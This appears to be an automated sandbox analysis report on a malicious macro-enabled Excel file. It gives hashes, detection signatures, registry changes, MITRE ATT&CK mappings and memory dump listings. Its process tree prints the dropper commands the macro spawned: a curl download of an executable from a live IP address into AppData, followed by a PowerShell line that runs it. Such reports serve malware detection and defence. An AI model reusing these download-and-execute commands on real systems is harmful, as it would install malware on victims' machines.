306b49ee2d7c8b286e5ff5334c84352d2d7fa39681f4f5349026cb1d1dbf9366

General

Target

306b49ee2d7c8b286e5ff5334c84352d2d7fa39681f4f5349026cb1d1dbf9366.xlsm
Size

140KB
MD5

6bf05c7bf2922c92b590ccd9f81adead
SHA1

80e46189cde0ffa29e0b587a4fa23a826a260048
SHA256

306b49ee2d7c8b286e5ff5334c84352d2d7fa39681f4f5349026cb1d1dbf9366
SHA512

0edad497446975d976ffd98c1cd0ad2c3f64c84910721669e49cc9ba08b9d7c0862759146603654e14f07b48991e0d33168f07a234369c253507caf000c14985

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1372	1632	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1844	1632	cmd.exe	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1632 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1372 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1372 powershell.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

EXCEL.EXE

pid process

1632 EXCEL.EXE
1632 EXCEL.EXE
1632 EXCEL.EXE
1632 EXCEL.EXE
1632 EXCEL.EXE
1632 EXCEL.EXE

pid	process
1632	EXCEL.EXE

pid	process
1372	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1372	powershell.exe

pid	process
1632	EXCEL.EXE
1632	EXCEL.EXE
1632	EXCEL.EXE
1632	EXCEL.EXE
1632	EXCEL.EXE
1632	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1632 wrote to memory of 1372	1632	EXCEL.EXE	powershell.exe
PID 1632 wrote to memory of 1372	1632	EXCEL.EXE	powershell.exe
PID 1632 wrote to memory of 1372	1632	EXCEL.EXE	powershell.exe
PID 1632 wrote to memory of 1372	1632	EXCEL.EXE	powershell.exe
PID 1632 wrote to memory of 1844	1632	EXCEL.EXE	cmd.exe
PID 1632 wrote to memory of 1844	1632	EXCEL.EXE	cmd.exe
PID 1632 wrote to memory of 1844	1632	EXCEL.EXE	cmd.exe
PID 1632 wrote to memory of 1844	1632	EXCEL.EXE	cmd.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\306b49ee2d7c8b286e5ff5334c84352d2d7fa39681f4f5349026cb1d1dbf9366.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1632

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\qRKZS.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1372

C:\Windows\SysWOW64\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\qRKZS.exe
2⤵
- Process spawned unexpected child process
PID:1844

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1372-70-0x00000000024D0000-0x00000000024D1000-memory.dmp

Filesize
4KB

Download
memory/1372-88-0x00000000064D0000-0x00000000064D1000-memory.dmp

Filesize
4KB

Download
memory/1372-105-0x0000000006650000-0x0000000006651000-memory.dmp

Filesize
4KB

Download
memory/1372-74-0x000000007EF20000-0x000000007EF21000-memory.dmp

Filesize
4KB

Download
memory/1372-71-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/1372-65-0x0000000075041000-0x0000000075043000-memory.dmp

Filesize
8KB

Download
memory/1372-66-0x0000000001D10000-0x0000000001D11000-memory.dmp

Filesize
4KB

Download
memory/1372-67-0x0000000004900000-0x0000000004901000-memory.dmp

Filesize
4KB

Download
memory/1372-68-0x00000000048C0000-0x00000000048C1000-memory.dmp

Filesize
4KB

Download
memory/1372-69-0x00000000048C2000-0x00000000048C3000-memory.dmp

Filesize
4KB

Download
memory/1372-104-0x0000000006640000-0x0000000006641000-memory.dmp

Filesize
4KB

Download
memory/1372-90-0x0000000006370000-0x0000000006371000-memory.dmp

Filesize
4KB

Download
memory/1372-63-0x0000000000000000-mapping.dmp

Download
memory/1372-75-0x0000000005850000-0x0000000005851000-memory.dmp

Filesize
4KB

Download
memory/1372-80-0x0000000006260000-0x0000000006261000-memory.dmp

Filesize
4KB

Download
memory/1372-81-0x0000000006440000-0x0000000006441000-memory.dmp

Filesize
4KB

Download
memory/1372-89-0x00000000064F0000-0x00000000064F1000-memory.dmp

Filesize
4KB

Download
memory/1632-61-0x0000000070D71000-0x0000000070D73000-memory.dmp

Filesize
8KB

Download
memory/1632-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1632-60-0x000000002F5B1000-0x000000002F5B4000-memory.dmp

Filesize
12KB

Download
memory/1844-64-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads